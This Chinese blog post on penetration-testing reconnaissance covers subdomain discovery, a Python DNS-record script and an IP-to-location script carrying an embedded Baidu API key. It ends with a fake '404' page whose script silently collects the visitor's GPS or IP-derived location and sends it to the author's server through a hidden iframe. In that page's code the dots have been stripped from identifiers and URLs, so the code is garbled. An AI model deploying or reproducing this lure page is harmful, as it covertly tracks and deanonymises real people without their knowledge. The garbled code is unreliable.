前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透测试 | 子域名查询、DNS记录查询

渗透测试 | 子域名查询、DNS记录查询

作者头像
谢公子
发布2022-01-13 10:04:06
4.4K0
发布2022-01-13 10:04:06
举报
文章被收录于专栏:谢公子学安全

目录

子域名信息查询

Layer子域名爆破机

subDomainBrute

利用google查询

HTTP证书查询

DNS记录查询脚本

IP转换为经纬度

利用网页获取对方经纬度信息

首先关于DNS域名解析的一些知识,传送门:

https://blog.csdn.net/qq_36119192/article/details/82752515

了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!

一些和域名查询相关的网站:

· DNS查询:https://dnsdb.io/

· 微步在线:https://x.threatbook.cn/ 

· 在线域名信息查询:

http://toolbar.netcraft.com/site_report?url=

· DNS、IP等查询:http://viewdns.info/

· CDN查询IP:https://tools.ipip.net/cdn.php 

· SecurityTrails平台:

https://securitytrails.com/domain/www.baidu.com/history/a

子域名信息查询

相关文章:论二级域名收集的各种姿势

查询子域名有三种方法:

1. 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/

2. 通过查询DNS服务器,查询该域下的解析记录

3. 通过HTTPS证书来查询(只适用于https网站) ,如:https://crt.sh/ 就是通过https证书查询子域名

4. 通过google查询

Layer子域名爆破机

Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。

subDomainBrute

subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。

利用google查询

指定站点,然后-就是不包含这个,来查询

site:baidu.com -www

HTTP证书查询

证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:https://crt.sh

可以使用python脚本ct-exposer完成

DNS记录查询脚本

代码语言:javascript
复制
# -*- coding: utf-8 -*-
# python3.7环境
"""
Created style="margin: 0px; padding: 0px; color: rgb(14, 156, 229);">10 16:40:17 2019
@author: 小谢

"""
##############################################################DNS域名记录查询脚本######################################################
import dns.resolver
domain=input("请输入要查询的域名全拼(例如:www.baidu.com):")       #网站子域名
domainpart=[]
num=domain.count('.')
part=domain.split('.')
for i in range(num):
    j=i+1
    domainpart.append(part[j])
subdomain=".".join(domainpart)              #网站主域名
print("该网站主域名为:%s"%subdomain)
#查询A记录
A=dns.resolver.query(domain,'A')
print("********************A记录********************")
for i in A.response.answer:
    print(i)
#查询CNAME记录
try:
    CNAME=dns.resolver.query(domain,'CNAME')
    print("********************CNAME记录********************")
    for i in CNAME.response.answer:
        print(i)
except:
    print("--------------------该域名没有CNAME记录!!--------------------")
#domain=input("请输入要查询的主域名(例如:baidu.com):")
#查询MX记录
try:
    MX=dns.resolver.query(subdomain,'MX')
    print("********************MX记录********************")
    for i in MX.response.answer:
        print(i)
except:
    print("--------------------该域名没有MX记录!!--------------------")
#NS记录
try:
    NS=dns.resolver.query(subdomain,'NS')
    print("********************NS记录********************")
    for i in NS.response.answer:
        print(i)
except:
    print("--------------------该域名没有NS记录!!--------------------")
#SOA记录
try:
    SOA=dns.resolver.query(subdomain,'SOA')
    print("********************SOA记录********************")
    for i in SOA.response.answer:
        print(i)
except:
    print("--------------------该域名没有SOA记录!!--------------------")
#TXT记录
try:
    TXT=dns.resolver.query(subdomain,'TXT')
    print("********************TXT记录********************")
    for i in TXT.response.answer:
        print(i)
except:
    print("--------------------该域名没有TXT记录!!--------------------")
#SRV记录
try:
    SRV=dns.resolver.query(domain,'SRV')
    print("********************SRV记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有SRV记录!!--------------------")
#AAAA记录
try:
    SRV=dns.resolver.query(domain,'AAAA')
    print("********************AAAA记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有AAAA记录!!--------------------")

IP转换为经纬

代码语言:javascript
复制
# python2.7环境
"""
Created>@author: 小谢
"""
#####################################################将ip转换为具体的经纬度城市信息#######################################################
#返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
import urllib2
import json

ip = raw_input("please your ip address:")
url = "http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
req = urllib2.Request(url)
res_data = urllib2.urlopen(req)
res = res_data.read().decode("unicode-escape") # 转格式
jsonaddress=json.loads(res)
#print res
print "城市:",jsonaddress['content']['address']
print "省份:",jsonaddress['content']['address_detail']['province']
print "区县:",jsonaddress['content']['address_detail']['district']
print "街道:",jsonaddress['content']['address_detail']['street']
print "经纬度:",jsonaddress['content']['point']['x'],",",jsonaddress['content']['point']['y']
print "纬经度:",jsonaddress['content']['point']['y'],",",jsonaddress['content']['point']['x']

经纬度街景地图:谷歌街景地图

只需要输入 纬度,经度,就可以看到定位的街景地图。

利用网页获取对方经纬度信息

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head></head>
<body id="body">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  <title>404 页面不存在 </title> 
<script src="https://cdnstaticfileorg/jquery/1102/jqueryminjs"></script>
<script type="text/javascript" src="http://apimapbaiducom/getscript?v=20&amp;ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy"></script>
<script src="http://pvsohucom/cityjson?ie=utf-8"></script>
<script>

        if(navigatorgeolocation){        //如果当前浏览器支持定位

            navigatorgeolocationgetCurrentPosition(getPositionSuccess, getPositionError);

        }else{

            consolelog("您的浏览器不支持自动定位!");

        }

/***用户定位成功**/

        function getPositionSuccess(position){

            var lat = positioncoordslatitude;    //经度

            var lng = positioncoordslongitude;   //纬度

            var address="";

//通过baiduMap API获取街道名称

            var map = new BMapMap("allmap");

            var point = new BMapPoint(lng,lat);

            var gc = new BMapGeocoder();

            gcgetLocation(point, function(rs){

                var addComp = rsaddressComponents;

                address = addCompcity + addCompdistrict + addCompstreet + addCompstreetNumber;  //城市区县街道街道号

                $("#lng")attr("value",lng);   //经度

                $("#lat")attr("value",lat);   //纬度

                url="http://1207974249:8080/?lng="+lat+","+lng;       //将经纬度信息传给我们后台搭建的服务器

                var frame=$("<iframe>");

                frameattr("src",url);

                frameattr("style","display:none");

                $("#body")append(frame);

            });

        }

/**用户定位失败**/

        function getPositionError(error){

            var ip;

            switch(errorcode){

                case errorTIMEOUT:

                    consolelog("连接超时,请重试");

                    break;

                case errorPERMISSION_DENIED:

//如果对方拒绝定位,则先通过获取对方ip向百度API获取定位

                    ip=returnCitySNcip;

                    $getJSON("http://apimapbaiducom/location/ip?callback=?", {

                        'ak' : 'nbB3KwnfDq6UvNxGqkRfhOzeu7EnmNCH',

                        'coor' : 'bd09ll',

                        'ip' : ip//获取的ip地址

                    }, function(data) {

                        var lng=datacontentpointx;//经度

                        var lat=datacontentpointy;//纬度

                        $("#lng")attr("value",lng);   //经度

                        $("#lat")attr("value",lat);   //纬度

                        url="http://1207974249:8080/?ip="+ip+"&address="+lat+","+lng;   //将ip和经纬度信息传给我们后台搭建的服务器

                        var frame=$("<iframe>");

                        frameattr("src",url);

                        frameattr("style","display:none");

                        $("#body")append(frame);

                    });

                    break;

                case errorPOSITION_UNAVAILABLE:

                    consolelog("亲爱的火星网友,非常抱歉,我们暂时无法为您所在的星球提供位置服务");

                    break;

            }

        }
</script>
<style type="text/css">

        body,div,h3,h4,li,ol{margin:0;padding:0}

        body{font:14px/15 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}

        :focus{outline:0}

        h3,h4,strong{font-weight:700}

        a{color:#428bca;text-decoration:none}

        a:hover{text-decoration:underline}

        error-page{background:#f0f1f3;padding:80px 0 180px}

        error-page-container{position:relative;z-index:1}

        error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
</style>
<div class="error-page">

<h3>
<div class="error-page-container">

<div class="error-page-main">

      <strong>404</strong>很抱歉,您要访问的页面不存在! 
</div>
    </div> </h3> 
</div>
</body>
</html>

相关文章:子域名枚举的艺术深度剖析

Freebuf-DNS域名信息收集

DNS详解

来源:谢公子的博客

责编:梁粉

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-01-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
内容分发网络 CDN
内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容,避免因网络拥堵、跨运营商、跨地域、跨境等因素带来的网络不稳定、访问延迟高等问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档